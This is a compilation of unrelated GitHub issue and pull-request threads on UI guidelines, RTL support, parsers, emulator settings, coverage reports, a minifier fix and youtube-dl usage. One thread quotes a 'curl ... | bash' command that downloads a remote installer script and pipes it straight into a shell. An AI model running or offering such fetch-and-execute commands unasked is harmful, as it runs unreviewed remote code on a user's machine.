Do things appear or disappear abruptly? Use fade or collapse/expand transitions.
Use skeleton loading states for content that is fetched remotely. Avoid spinners.
Use ActivityIndicator instead of Spinner
Use PopIn when something appears as a result of user interaction.
Use Disappearable when something disappears as a result of user interaction.
Do lists with lazily-loaded items scroll smoothly? Sometimes folks load items in too-small batches. The bigger the batches, the smoother the scrolling.

Interactions
Interactions should feel satisfying, smooth, and snappy.

Touching interactive things should give the appropriate kind of feedback. See The guidelines on notion
Touch targets should be at least 40px × 40px. Use hitSlop to increase the size of a touchable without affecting layout.

Forms
💡 When working on forms in the simulator always keep the on-screen keyboard visible (cmd+t in iOS)

The first input in a blank form should normally receive keyboard focus automatically when the page comes into view. Inputs have an autofocus prop that should take care of this in most situations. Otherwise make a ref for the input and call ref.current?.focus()
Forms with multiple fields should have seamless focus switching to the next input when the user hits 'enter'. You should customise the keyboard's return button label to be 'Next' on all but the last input.
Inputs should always be visible when they are in focus. This should happen automatically when there is a correctly set-up KeyboardAvoidingView in your view hierarchy. Make sure all the parents between the KeyboardAvoidingView and the ScrollView that contains your inputs are flexing fully.

we are going to discuss this in a knowledge share, and either close or follow-up based on outcome


Changing Font Styling and fixing some bugs

Please Assign Me

please

Please Assign Me

Assigned @7sohamd

kindly assign this issue to me @amrit03b under hacktoberfest

kindly assign this issue to me also @amrit03b under hacktoberfest

Sorry, it was supposed to be closed as it is already fixed by @7sohamd.


Add Hebrew language support

Description
LEARNER-7343

Add Hebrew language support (RTL)
Fix  UI glitches to support RTL language.
View pager and corresponding views remain LTR, because viewPager doesn't support RTL.

Note: To add the RTL support in viewpager app needs migration from viewpager to viewpager2 (introduce in androidX as part of jetpack) that have the RTL support.
Ref:https://developer.android.com/jetpack/androidx/releases/viewpager2

@miankhalid Ready for another pass.


[BE-3986] Adds an explicite bodo parser module to calcite

Associated Bodo PR: https://github.com/Bodo-inc/Bodo/pull/4782
Creates a Bodo Parser module in the calcite repository. Currently, this parser is just a clone of the existing Babel parser, but it will likely be extended in future PR's (notably create_table_as).
The Bodo PR just sets the default parser to this new Bodo parser. This should have no issues, since the new Bodo parser is less restrictive then the core parser, but I'm running on nightly to confirm. Please feel free to review this after nightly passes for the above PR.

Addressed comments, nightly run is here: https://dev.azure.com/bodo-inc/Bodo/_build/results?buildId=22014&view=results
Will mark as ready for review once this passes.

This is a little block rn because azure CI is backloged. I've fixed the errors found on the previous azure CI run, but I'd like to run it once more, to be certain I got them all.

Everything passed except for a few error handling tests (because the default looka head is now slightly larger) and test_snowflake_catalog_default. I'm hoping test_snowflake_catalog_default is transient, I'm re-running nightly now to be sure: https://dev.azure.com/bodo-inc/Bodo/_build/results?buildId=22065&view=results

Everything passed here: https://dev.azure.com/bodo-inc/Bodo/_build/results?buildId=22065&view=logs&jobId=00b7a64d-2004-54e2-21f4-7be093358810&j=00b7a64d-2004-54e2-21f4-7be093358810&t=d772d261-6072-527c-1182-b4bcdab45578 (unrelated Bodo error)

Green CI run with the new changes here: https://dev.azure.com/bodo-inc/Bodo/_build/results?buildId=22070&view=results


🐛 [firebase_database] Add localhost remap for Android

Request:
Please add the ability to pass localhost or <IP_ADDRESS> to the useDatabaseEmulator method and have it automatically remap while using an Android emulator to <IP_ADDRESS>.
Background:
In both Firebase Function's useFunctionsEmulator and Firebase Firestore's useFirestoreEmulator it is possible to pass localhost or <IP_ADDRESS> while using an Android emulator as those methods map the host to <IP_ADDRESS>.  However, Firebase Database's useDatabaseEmulator does not remap localhost, which can cause confusion when a user such as myself expects the package to remap.

Closing this since it was done in #11976


Flag API is not being mapped to Lua

Looks like the Flag(column, row) API is undefined in Lua. This needs to be mapped to the GameChip's Flag API method.

Need to rebuild all of the templates so they include the updated API.

This has now been addressed and all of the runner templates have been rebuilt to use the API call.


Export Policy from fil actor interface

Summary of changes
Changes introduced in this pull request:

Export Policy from fil_actor_interface so that users of fil_actor_states can use this Policy and stay up-to date.

Reference issue to close (if applicable)

Closes #68
Other information and links

Codecov Report
Patch and project coverage have no change.

Comparison is base (d680442) 13.45% compared to head (cfdc56e) 13.45%.

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #72   +/-   ##
=======================================
  Coverage   13.45%   13.45%
=======================================
  Files         201      201
  Lines       20087    20087
=======================================
  Hits         2703     2703
  Misses      17384    17384

Impacted Files
Coverage Δ

fil_actor_interface/src/builtin/miner/mod.rs
3.04% <ø> (ø)

fil_actor_interface/src/builtin/power/mod.rs
7.25% <ø> (ø)

fil_actor_interface/src/lib.rs
100.00% <ø> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Update download script & README to show bashrc, as well as zshrc

README and getfabric8.sh both repeat mention of zshrc, rather than zshrc and bashrc.  Corrected.
Observed this when ran curl -sS https://get.fabric8.io/download.txt | bash, and saw in the gofabri8 cli.  It's at least wrong in the code; still working to prove that download.txt is built from getfabric8.sh.

ok to test

many thanks!


Provide gradleApi() and gradleTestKit() methods on test suite dependency handler block

We should be able to do this:
testing {
    suites {
        integTest(JvmTestSuite) {
            dependencies {
                implementation gradleTestKit()
            }
        }
    }
}

instead of having to do this:
dependencies {
    integTestImplementation gradleTestKit()
}

Duplicate of #19232

Note for who is searching a solution for this issue:
It seems that #21060 is the PR fixing this issue, so Gradle v7.6 will solve this issue.


Allow an offset to be specified as a percentage

This may or may not help #34
I haven't been able to get the tests working for me locally so feel free to hold back on merging.  It would be good to get feedback on what I've done so far.
FYI, I'm getting the following when running karma:
Chrome 43.0.2357 (Linux 0.0.0): Executed 1 of 10 (1 FAILED) ERROR (5.941 secs / 5.905 secs)
INFO [watcher]: Changed file "/home/pads/development/angular-inview/test/angular-inview.spec.coffee".
Chrome 43.0.2357 (Linux 0.0.0) Directive: inView local variables should define local variables `$event`, `$inview` and `$inviewpart` FAILED
        Error: Timeout - Async callback was not invoked within timeout specified by jasmine.DEFAULT_TIMEOUT_INTERVAL.
Chrome 43.0.2357 (Linux 0.0.0) ERROR
  Uncaught TypeError: Cannot read property 'inviewSpy' of null

It's hard to debug because logging and adding a breakpoint to check what test.scope is defined at never produces null.

tests are indeed broken and I believe it could be a problem with the jasmine version.
You change seems fine tho. how is it working with a manual test?

Thanks for the merge :) So far so good.  There might be more changes coming in future as I have noticed that the same offset does not always trigger inview at the right time when screen sizes vary.

:+1: for this — I'm needing to trigger on the middle of the page and it seems I can't supply angular.element($window).height() / 2 as a stop-gap.

Thanks for merging this!  I forgot to update the README and version.  I'm happy to submit a follow-up pull request for this if you like.

nice :) thank you @pads for helping me maintain this!


Do not panic with wait error for wait/tail commands

Pull request

What this PR does / why we need it
Add some validations to caught nil objects in UntilCondition function so apps plugin does not panic if there is an error in wait/tail commands
Which issue(s) this PR fixes

Fixes #476
Describe testing done for PR

Additional information or special notes for your reviewer

Codecov Report

Merging #497 (51ea7ea) into main (f2e406a) will increase coverage by 25.16%.
The diff coverage is 77.14%.

@@             Coverage Diff             @@
##             main     #497       +/-   ##
===========================================
+ Coverage   60.63%   85.80%   +25.16%
===========================================
  Files          79       66       -13
  Lines        6160     4134     -2026
===========================================
- Hits         3735     3547      -188
+ Misses       2265      456     -1809
+ Partials      160      131       -29

Impacted Files
Coverage Δ

pkg/commands/workload.go
88.92% <62.50%> (-0.34%)
:arrow_down:

pkg/cli-runtime/wait/wait.go
53.57% <84.61%> (-1.15%)
:arrow_down:

pkg/commands/workload_apply.go
88.26% <100.00%> (+1.26%)
:arrow_up:

pkg/commands/workload_create.go
84.39% <100.00%> (+1.63%)
:arrow_up:

pkg/dies/knative/serving/v1/zz_generated.die.go

pkg/cli-runtime/testing/command_table.go

...apis/cartographer/v1alpha1/cluster_supply_chain.go

pkg/dies/cartographer/v1alpha1/helper.go

pkg/cli-runtime/testing/client.go

... and 10 more

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Fix include paths for ROS2 headers

This is a minor fix. I noticed a couple of include paths for ROS2 headers are using .h instead of .hpp, so it was failing to compile for me.

Hi  @kgreenek  can you tell us which version of ROS2 are you using. Because your change seems to not work on ROS2 Foxy at least. (Works on Humble though)


Indicate Streamlink errors on failure

Describe your issue
When attempting to open a channel in Streamlink, no errors are reported back to the user when launching Streamlink fails.
OS and Chatterino Version
Arch Linux (5.12.8-arch1-1), Chatterino 2.3.2 (commit 57354283)

"Classic" solutions for these kind of things:

Show a system message with the Streamlink error in chat
Show a poup with the Streamlink

Personally, I'd prefer solution 1.

I'd generally prefer solution 1, however this won't work in faster chats.

Hint for possible implementation: We could pass --loglevel error  to Streamlink in order to restrict output to error messages.

I'd prefer solution 2 a lot more.
If you are having issues with streamlink I'd like the entire log of what's wrong instead of just "it doesn't work" or something similar so I can debug it.

the entire log

How long are Streamlink error messages usually? Every message I have encountered so far would likely fit in one or two chat lines

You are correct, from the error message I've seen they're usually only one line long so it could fit in twitch chat.
The most common error a person would most likely get is the stream is not available at error because either twitch or the streamer is having issues.
Would this fit better into a chat or as an error message?
To me debugging something through the help of twitch chat is a strange idea and a bit unintuitive.

I might have misunderstood you. I read your original comment as "A popup is preferable because a lengthy error log would be more readable in a popup than a chat message". I would generally agree with this but in the case of Streamlink, error messages really aren't that lengthy.
Nonetheless, I would now prefer a popup simply because it will not be missed in fast chats.


Add live region to announce when Select opens

Motivation
Downshift automatically adds a status div to announce status changes to Selects and Comboboxes.  From what I can tell, ariakit does not do this, but it would be a nice feature for those using assistive technology.
I'd particularly like to use this in an async Select component, to indicate to the user that results are loading or if there has been an error.
Usage example
I think as a start, the status could be built in and not overridable.  Or, if it should be, maybe it could be done in a prop to useSelectStore, like so:
const select = useSelectStore({a11yMessage: ({isOpen, resultCount, previousResultCount}) => 'message'})

Requirements

The status should announce when the select box is opened
It should be visually hidden
It should re-evaluate when the open state or count of available options changes

Workaround
This can likely be created by the user, but I haven't attempted it so far.  If I do, I'll post my solution back here.
Possible implementations
No response

I have a rough idea for a general purpose Notification component that could be used for toasts and visually hidden announcements. Here's a gist of my initial idea for the API: https://gist.github.com/diegohaz/341ed774ebac3b4dd820ae48d8bc822c
Also related to #464

Is this still something you're considering?

A Notification module? Yes, it's still in the plans.

Thanks, I saw this became stale and the referenced issue is closed as completed.


Drizzle Studio integration

Turso just released a new integration with Drizzle Studio, so there's no need for drizzle-studio as a project dependency.

I saw, quite convenient
although theres still some benefit of running it locally as an option


Update whats-new-in-storage.md

The What's New in Storage page has been updated to say it's applicable to Windows Server 2022, but doesn't contain any details.
So I've taken the relevant details from the What's new in Windows Server 2022 docs page instead and added them to what's new in storage to get some basic coverage.

Any change of this being reviewed? @JasonGerend


fix: add parens for unary expression

What happened?
true.toString();

The above code will be compressed to :
!0.toString()

Which causes syntax error.
We should add parentheses for it:
(!0).toString()

Terser
PARENS

Nice! We are back to 100%!


OSError: [Errno -9981] Input overflowed

Please help me
Assistant is listening....
Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python3.7/threading.py", line 917, in _bootstrap_inner
self.run()
File "/usr/lib/python3.7/threading.py", line 865, in run
self._target(*self._args, **self._kwargs)
File "/home/pi/Robot-Blueberry/src/main.py", line 294, in picovoice_run
pcm = audio_stream.read(porcupine.frame_length)
File "/home/pi/env/lib/python3.7/site-packages/pyaudio.py", line 608, in read
return pa.read_stream(self._stream, num_frames, exception_on_overflow)
OSError: [Errno -9981] Input overflowed
..
What is OSError?

closing this issue as it does not follow the instructions in the issue template. the template explicitly asks for instructions to reproduce the issue!


[fix](jdbc catalog) fix DefaultValueExpr in Jdbc table column when CTAS

Proposed changes
Issue Number: close #xxx

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

(From new machine)TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 45.28 seconds
stream load tsv:          514 seconds loaded<PHONE_NUMBER>9 Bytes, about 138 MB/s
stream load json:         21 seconds loaded<PHONE_NUMBER> Bytes, about 107 MB/s
stream load orc:          65 seconds loaded<PHONE_NUMBER> Bytes, about 16 MB/s
stream load parquet:          31 seconds loaded 861443392 Bytes, about 26 MB/s
insert into select:          29.1 seconds inserted 10000000 Rows, about 343K ops/s
storage size:<PHONE_NUMBER>7 Bytes

run buildall

(From new machine)TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 45.44 seconds
stream load tsv:          512 seconds loaded<PHONE_NUMBER>9 Bytes, about 139 MB/s
stream load json:         21 seconds loaded<PHONE_NUMBER> Bytes, about 107 MB/s
stream load orc:          65 seconds loaded<PHONE_NUMBER> Bytes, about 16 MB/s
stream load parquet:          31 seconds loaded 861443392 Bytes, about 26 MB/s
insert into select:          29.0 seconds inserted 10000000 Rows, about 344K ops/s
storage size:<PHONE_NUMBER>1 Bytes

run buildall

(From new machine)TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 44.93 seconds
stream load tsv:          513 seconds loaded<PHONE_NUMBER>9 Bytes, about 139 MB/s
stream load json:         21 seconds loaded<PHONE_NUMBER> Bytes, about 107 MB/s
stream load orc:          65 seconds loaded<PHONE_NUMBER> Bytes, about 16 MB/s
stream load parquet:          30 seconds loaded 861443392 Bytes, about 27 MB/s
insert into select:          29.1 seconds inserted 10000000 Rows, about 343K ops/s
storage size:<PHONE_NUMBER>0 Bytes

run p0


8.51 Issues

Can't swing pickaxe after reloading weapon. Also supply drops drop no loot. Glider also random disappears after re-spawning.

eventually will be fixed
i think i added in private
i dont think i can fix this


Document extending Webpack configuration

How to add loaders, existing loaders, etc.

:+1: I'd add one more related thing to think about: how should one integrate a project using webpack with styleguidist? How about project using babel? It would be cool to move these 2 to peerDependencies and thus make styleguidist less of a standalone and more of a tool that integrates tightly with the existing project config.

Yeah, you’re right probably :-)

@sapegin Maybe let's plan this for 2.0 (whenever it might be)?

Writing an issue right now ;-)


Lpx plus additions redundant vocab removals

These two files are not necessary as other vocabs already exist to get the same outcome.

I can confirm that we found that there we two vocabs which perform these same roles;
https://vocabs.uat.gsq.digital/object?uri=http%3A//linked.data.gov.au/def/qualitative-confidence
https://vocabs.uat.gsq.digital/object?uri=http%3A//linked.data.gov.au/def/geological-properties
As such, I approve their deletion.


chore(client/App): refactor saveTab

Follow-up of the latest hour-of-code session (cf. https://github.com/bpmn-io/hour-of-code/commit/51b4f8c50aede163527eca85dea74af763edc8f7). It refactors the App.js#saveTab functionality to different methods, to make it more understandable. Follows the same approach as #1297.

Who's supposed to review this?

Resolved conflicts.


Very slow on first run

What version are you using?
38d8650
What did you do?
Run any soroban command, such as soroban --help, or soroban contract invoke ....
What did you expect to see?
The command execute immediately.
What did you see instead?
Long days ranging from a few seconds up to 15 seconds.

A big issue with invoke is fetching the contract to access the XDR for CLI parser. We should cache them locally by hash. It won't help the initial load time and I'm concerned with the top level --help being slow as it doesn't trigger any contract xdr parsing.


How do you download multiple formats and skip merging?

Each time I have to enter -k to keep both formats I downloaded (e.g. -f http720+http1080 -k), but it still merge it, which I don't need.
How I skip merge?

Well, just curious - why you need unmerged formats?
On Aug 21, 2016 17:20, "vibrasphere"<EMAIL_ADDRESS>wrote:

Each time I have to enter -k to keep both formats I downloaded (e.g. -f
http720+http1080 -k), but it still merge it, which I don't need.
How I skip merge?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/rg3/youtube-dl/issues/10399, or mute the thread
https://github.com/notifications/unsubscribe-auth/AB2RGQqby8nOcBKoomYim0M6_q8Utx8zks5qiBhkgaJpZM4JpQn3
.

Various reasons, encoding, testing on multiple devices. I usually work with 480p 540p 720p and 1080p files.

From the format selection section:

If you want to download several formats of the same video use comma as a separator, e.g. -f 22,17,18 will download all these three formats, of course if they are available. Or more sophisticated example combined with precedence feature -f 136/137/mp4/bestvideo,140/m4a/bestaudio

Sounds that's what you need, isn't it? It's indeed not so obvious. Will add an example to format selection examples

OK, great. Thanks for help


Visual Studio Code support

VS Code is one of the popular editors around, and is being adopted by a lot of developers around the world. Would be good to see support for the same.

Hey @sankalpsans - thanks for trying out Tandem!
We've had our eye on supporting other editors and we know that VSCode is a popular editor. 😄 We currently have a lot of outstanding issues that we want to address first before adding on other editors ourselves, so it will take a while for us to circle back to this.
If this is something you want to build yourself, we'd be happy to welcome pull requests as well! Check out: https://github.com/typeintandem/tandem/wiki/Interacting-with-the-Tandem-Agent